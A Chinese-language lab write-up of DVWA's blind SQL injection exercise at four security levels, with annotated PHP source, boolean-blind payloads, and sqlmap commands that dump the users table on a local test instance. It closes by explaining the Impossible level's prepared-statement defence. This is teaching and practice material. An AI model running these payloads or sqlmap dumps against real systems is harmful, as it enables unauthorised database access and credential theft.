目录Low1.判断闭合方式2.爆当前数据库名2.1猜数据库长度2.2逐字符猜解3.爆数据库表名1.判断是否存在sql注入2. 直接爆所有库名3. 爆 dvwa 库的所有表4. 爆 users 表的账号密码MediumHighImpossibleLow源码分析直接将用户输入的id参数拼接到 SQL 语句中没有任何过滤 / 转义页面不返回查询结果数据只返回两种状态用户存在/用户不存在可以通过布尔盲注逐字符猜解数据库内容?php // 判断用户是否点击了Submit提交按钮GET请求 if( isset( $_GET[ Submit ] ) ) { // 获取用户通过GET方式传入的id参数无任何过滤、无任何转义漏洞核心 $id $_GET[ id ]; // 定义标识变量标记查询的用户ID是否存在数据库中默认不存在 $exists false; // 根据DVWA配置的数据库类型MySQL/SQLite执行不同逻辑 switch ($_DVWA[SQLI_DB]) { // 场景1使用MySQL数据库 case MYSQL: // 拼接SQL查询语句直接将用户输入的$id拼入SQL无防护导致SQL注入 // 漏洞点单引号未闭合攻击者可构造恶意语句改变SQL逻辑 $query SELECT first_name, last_name FROM users WHERE user_id $id;; // 执行SQL查询 // 关键移除了 or die()不会输出数据库错误信息 → 属于【盲注】 $result mysqli_query($GLOBALS[___mysqli_ston], $query ); // 重置标识变量 $exists false; // 判断SQL查询是否执行成功不代表有数据仅代表语法无致命错误 if ($result ! false) { try { // 判断查询结果的行数是否大于0 → 大于0说明用户ID存在 $exists (mysqli_num_rows( $result ) 0); } catch(Exception $e) { // 异常捕获执行出错则判定用户ID不存在 $exists false; } } // 关闭MySQL数据库连接PHP语法糖无实际业务逻辑 ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); break; // 场景2使用SQLite数据库逻辑和MySQL完全一致 case SQLITE: global $sqlite_db_connection; // 同样直接拼接用户输入存在SQL注入漏洞 $query SELECT first_name, last_name FROM users WHERE user_id $id;; try { // 执行SQL查询 $results $sqlite_db_connection-query($query); // 获取查询结果 $row $results-fetchArray(); // 结果不为false → 用户ID存在 $exists $row ! false; } catch(Exception $e) { // 异常则判定不存在 $exists false; } break; } // // 页面仅返回【存在/不存在】两种结果 → 布尔盲注核心特征 // if ($exists) { // 查询到用户输出存在提示 echo preUser ID exists in the database./pre; } else { // 未查询到用户返回404状态码 缺失提示 header( $_SERVER[ SERVER_PROTOCOL ] . 404 Not Found ); echo preUser ID is MISSING from the database./pre; } } ?1.判断闭合方式存在单引号闭合的布尔盲注2.爆当前数据库名2.1猜数据库长度1 and length(database())4#exists说明数据库长度为42.2逐字符猜解substring(database(),N,1) 取数据库名的第 N 个字符一位一位地猜解1 and substring(database(),1,1)d# → 真 1 and substring(database(),2,1)v# → 真 1 and substring(database(),3,1)w# → 真 1 and substring(database(),4,1)a# → 真数据库名为dvwa3.爆数据库表名一个一个猜解太麻烦了所以我们直接使用工具sqlmap完整流程1.判断是否存在sql注入python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id1SubmitSubmit --cookiesecuritylow; PHPSESSID你的会话ID显示存在布尔盲注2. 直接爆所有库名python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id1SubmitSubmit --cookiesecuritylow; PHPSESSID你的会话ID --dbs爆破出6个数据库3. 爆 dvwa 库的所有表python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id1SubmitSubmit --cookiesecuritylow; PHPSESSID你的会话ID -D dvwa --tables爆破出2张表4. 爆 users 表的账号密码python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id1SubmitSubmit --cookiesecuritylow; PHPSESSID你的会话ID -D dvwa -T users --dumpMedium源码分析提交方式从 GET 改成 POST→ 不能直接在地址栏注入加了mysqli_real_escape_string→ 转义 \等字符→ 理论上能防字符型注入但我们是数字型注入?php // 判断用户是否点击了Submit提交按钮这次是 POST 方式提交 if( isset( $_POST[ Submit ] ) ) { // 获取用户输入从 POST 方式获取 id 参数 $id $_POST[ id ]; // 标记用户ID是否存在默认不存在 $exists false; // 判断数据库类型 switch ($_DVWA[SQLI_DB]) { case MYSQL: // 【Medium 新增防护】 // 使用 mysqli_real_escape_string 转义特殊字符 // 转义的字符 \ \n \r 等 // 目的防止单引号/双引号闭合注入 $id ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // 【致命漏洞点】 // SQL语句没有用 单引号/双引号 包裹 $id // 直接是数字型注入根本不需要引号闭合 $query SELECT first_name, last_name FROM users WHERE user_id $id;; // 执行SQL屏蔽错误信息 → 盲注 $result mysqli_query($GLOBALS[___mysqli_ston], $query ); $exists false; if ($result ! false) { try { // 判断是否查询到数据 $exists (mysqli_num_rows( $result ) 0); } catch(Exception $e) { $exists false; } } break; case SQLITE: global $sqlite_db_connection; // 同样无引号包裹 → 数字型注入 $query SELECT first_name, last_name FROM users WHERE user_id $id;; try { $results $sqlite_db_connection-query($query); $row $results-fetchArray(); $exists $row ! false; } catch(Exception $e) { $exists false; } break; } // 页面只返回 存在/不存在 → 布尔盲注 if ($exists) { echo preUser ID exists in the database./pre; } else { echo preUser ID is MISSING from the database./pre; } } ?直接使用sqlmap一键注入python sqlmap.py -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ --dataid1SubmitSubmit --cookiesecuritymedium; PHPSESSID你的ID -D dvwa -T users --dump成功High源码分析1. 参数从 Cookie 里获取不是 GET不是 POST普通表单无法修改必须抓包改 Cookie但 $id $_COOKIE[id]; 没有任何过滤2. SQL 加了 LIMIT 1只返回 1 条数据对盲注完全没用不影响注入还是单引号闭合字符型注入3. 随机延迟反时间盲注if( rand( 0, 5 ) 3 ) { sleep( rand( 2, 4 ) ); }失败时随机卡顿目的让你无法用时间盲注判断对错但随机延迟只干扰时间盲注不影响布尔盲注?php // 关键点参数从 Cookie 里获取不是 GET/POST if( isset( $_COOKIE[ id ] ) ) { // 获取输入从 Cookie 获取 id 值 $id $_COOKIE[ id ]; $exists false; switch ($_DVWA[SQLI_DB]) { case MYSQL: // SQL 语句单引号包裹 LIMIT 1 限制只返回1条 $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; // 执行SQL屏蔽错误 → 盲注 $result mysqli_query($GLOBALS[___mysqli_ston], $query ); $exists false; if ($result ! false) { try { $exists (mysqli_num_rows( $result ) 0); } catch(Exception $e) { $exists false; } } break; case SQLITE: global $sqlite_db_connection; $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; try { $results $sqlite_db_connection-query($query); $row $results-fetchArray(); $exists $row ! false; } catch(Exception $e) { $exists false; } break; } // 查询成功显示存在 if ($exists) { echo preUser ID exists in the database./pre; } // 查询失败显示不存在 【高级防护随机延迟】 else { // 随机概率触发延迟干扰时间盲注 if( rand( 0, 5 ) 3 ) { sleep( rand( 2, 4 ) ); // 延迟2-4秒 } header( $_SERVER[ SERVER_PROTOCOL ] . 404 Not Found ); echo preUser ID is MISSING from the database./pre; } } ?注入方法和low一样简单python sqlmap.py -u 127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php --dataid2SubmitSubmit --second-urlhttp://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ --cookieid1;securityhigh; PHPSESSID你的ID -D dvwa -T users --dump参数说明由于这里输入时一个url响应是另一个URL所以使用参数–second-url 设置二阶响应的结果显示页面的url另外--batch参数可以自动跳过所有交互提示无需手动输入y/n一键跑完但我觉得耗时太久故未使用。Impossible源码分析?php // 判断是否提交了表单 if( isset( $_GET[ Submit ] ) ) { // 防御1Anti-CSRF Token 防护 // 校验随机token防止伪造请求 checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); $exists false; // 获取用户输入的 id $id $_GET[ id ]; // 防御2严格数据类型检查 // 判断输入是否是 数字/数字字符串 if(is_numeric( $id )) { // 强制转换成 整数 int $id intval ($id); // 判断数据库类型 switch ($_DVWA[SQLI_DB]) { case MYSQL: // 防御3PDO 预处理语句参数化查询 // SQL 语句使用 :id 占位符**不拼接任何用户输入** $data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); // 绑定参数强制指定 id 是 整数类型 $data-bindParam( :id, $id, PDO::PARAM_INT ); // 执行查询 $data-execute(); // 获取结果行数 $exists $data-rowCount(); break; case SQLITE: global $sqlite_db_connection; // SQLite 同样使用 预处理参数绑定 $stmt $sqlite_db_connection-prepare(SELECT COUNT(first_name) AS numrows FROM users WHERE user_id :id LIMIT 1; ); $stmt-bindValue(:id,$id,SQLITE3_INTEGER); $result $stmt-execute(); $result-finalize(); if ($result ! false) { $num_columns $result-numColumns(); if ($num_columns 1) { $row $result-fetchArray(); $numrows $row[ numrows ]; $exists ($numrows 1); } } break; } } // 输出结果 if ($exists) { echo preUser ID exists in the database./pre; } else { header( $_SERVER[ SERVER_PROTOCOL ] . 404 Not Found ); echo preUser ID is MISSING from the database./pre; } } // 生成随机 CSRF Token generateSessionToken(); ?1. Anti-CSRF Token随机令牌每次刷新页面生成一个随机 token2. is_numeric 严格判断必须是数字才能进入数据库查询输入字母、符号、SQL 语句直接被拦截3. intval () 强制转整数$id intval($id);不管你输入什么强制变成数字1 union select→ 直接变成14. 预处理语句 参数绑定prepare( SELECT ... WHERE id (:id) ); bindParam( :id, $id, PDO::PARAM_INT );SQL 语句与数据分离用户输入不会被当作 SQL 代码执行